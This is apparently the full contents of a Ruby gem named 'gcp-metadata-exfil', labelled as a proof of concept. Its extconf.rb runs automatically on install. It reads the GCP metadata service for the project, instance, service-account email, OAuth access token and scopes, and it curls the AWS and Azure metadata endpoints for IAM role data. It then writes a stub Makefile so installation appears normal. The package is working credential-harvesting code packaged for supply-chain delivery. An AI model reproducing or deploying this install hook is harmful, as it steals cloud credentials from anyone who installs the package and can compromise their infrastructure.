gcp-metadata-exfil 1.0.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: ba6693b71cd465c2bf03dc1a35c28371c62bc4e6a63af4a572f38782d0572a42
+  data.tar.gz: fda3b6c9b3185879c5a20bd2b84e781d0f11def53ba8c3fed53fb5e0fb178eb0
+SHA512:
+  metadata.gz: a3df6d123f2b7c319abf200fb2dbfa9fbafe8eb9c9f130fb121c94bf935e4757b325b6f1dff14acaa572a3ed383de95cca9abd26ed375ad832f94eaa54f671e9
+  data.tar.gz: 7a6681b5c5ae96cbd954348cdc6596dbadf2f6b1b2838f0e84908fec274030355edf9b93c0c3e7a339850b0806fb8b209d257644bc1875758a58f9d73073b05b

data/extconf.rb

@@ -0,0 +1,97 @@
+#!/usr/bin/env ruby
+require 'net/http'
+require 'json'
+
+puts "🌥️  GCP METADATA SERVICE EXPLOIT POC"
+puts "=" * 60
+
+# GCP metadata service endpoint
+metadata_url = "http://metadata.google.internal/computeMetadata/v1/"
+
+def try_metadata(path)
+  uri = URI("http://metadata.google.internal/computeMetadata/v1/#{path}")
+  request = Net::HTTP::Get.new(uri)
+  request['Metadata-Flavor'] = 'Google'
+  
+  response = Net::HTTP.start(uri.hostname, uri.port, open_timeout: 2, read_timeout: 2) do |http|
+    http.request(request)
+  end
+  
+  response.body if response.code == '200'
+rescue => e
+  nil
+end
+
+# Test if running on GCP
+puts "\n[1] Testing GCP Metadata Access..."
+
+project_id = try_metadata('project/project-id')
+if project_id
+  puts "  ✅ RUNNING ON GCP!"
+  puts "  📦 Project ID: #{project_id}"
+  
+  # Get more info
+  zone = try_metadata('instance/zone')
+  puts "  🌍 Zone: #{zone&.split('/')&.last}"
+  
+  instance_name = try_metadata('instance/name')
+  puts "  🖥️  Instance: #{instance_name}"
+  
+  # CRITICAL: Get service account credentials
+  puts "\n[2] Stealing Service Account Credentials..."
+  
+  service_account = try_metadata('instance/service-accounts/default/email')
+  puts "  👤 Service Account: #{service_account}"
+  
+  # Get access token
+  token_data = try_metadata('instance/service-accounts/default/token')
+  if token_data
+    token = JSON.parse(token_data)
+    puts "  🔑 Access Token: #{token['access_token'][0..20]}... (#{token['expires_in']}s TTL)"
+    puts "\n  💀 CRITICAL: Can now access:"
+    puts "     - GCS buckets"
+    puts "     - Cloud SQL databases"
+    puts "     - Secret Manager"
+    puts "     - Any resource this SA has access to"
+  end
+  
+  # Get scopes
+  scopes = try_metadata('instance/service-accounts/default/scopes')
+  puts "\n  🎯 OAuth Scopes:"
+  scopes&.split("\n")&.each { |s| puts "     - #{s}" }
+  
+  puts "\n  🚨 FULL CLOUD INFRASTRUCTURE COMPROMISE POSSIBLE"
+  
+else
+  puts "  ❌ Not running on GCP (testing locally)"
+  puts "  ℹ️  On GCP, this would steal:"
+  puts "     - Project ID"
+  puts "     - Service account credentials"
+  puts "     - OAuth access tokens"
+  puts "     - SSH keys"
+  puts "     - Custom metadata"
+end
+
+# Test AWS metadata too (for comparison)
+puts "\n[3] Testing AWS Metadata (169.254.169.254)..."
+aws_token = `curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null`.strip
+if aws_token && !aws_token.empty?
+  puts "  ✅ Running on AWS! Role: #{aws_token}"
+else
+  puts "  ❌ Not on AWS"
+end
+
+# Test Azure
+puts "\n[4] Testing Azure Metadata..."
+azure_test = `curl -s --connect-timeout 2 -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null`
+if azure_test && !azure_test.empty?
+  puts "  ✅ Running on Azure!"
+else
+  puts "  ❌ Not on Azure"
+end
+
+puts "\n" + "=" * 60
+puts "💀 IMPACT: Supply Chain → Cloud Infrastructure Compromise"
+puts "=" * 60
+
+File.write('Makefile', "all:\ninstall:\n")

data/lib/gcp.rb

@@ -0,0 +1,3 @@
+module GcpExploit
+  VERSION = "1.0.0"
+end

metadata

@@ -0,0 +1,45 @@
+--- !ruby/object:Gem::Specification
+name: gcp-metadata-exfil
+version: !ruby/object:Gem::Version
+  version: 1.0.0
+platform: ruby
+authors:
+- Test
+autorequire: 
+bindir: bin
+cert_chain: []
+date: 2025-10-30 00:00:00.000000000 Z
+dependencies: []
+description: 
+email: 
+executables: []
+extensions:
+- extconf.rb
+extra_rdoc_files: []
+files:
+- extconf.rb
+- lib/gcp.rb
+homepage: 
+licenses:
+- MIT
+metadata: {}
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.0.3.1
+signing_key: 
+specification_version: 4
+summary: GCP metadata service exploitation POC
+test_files: []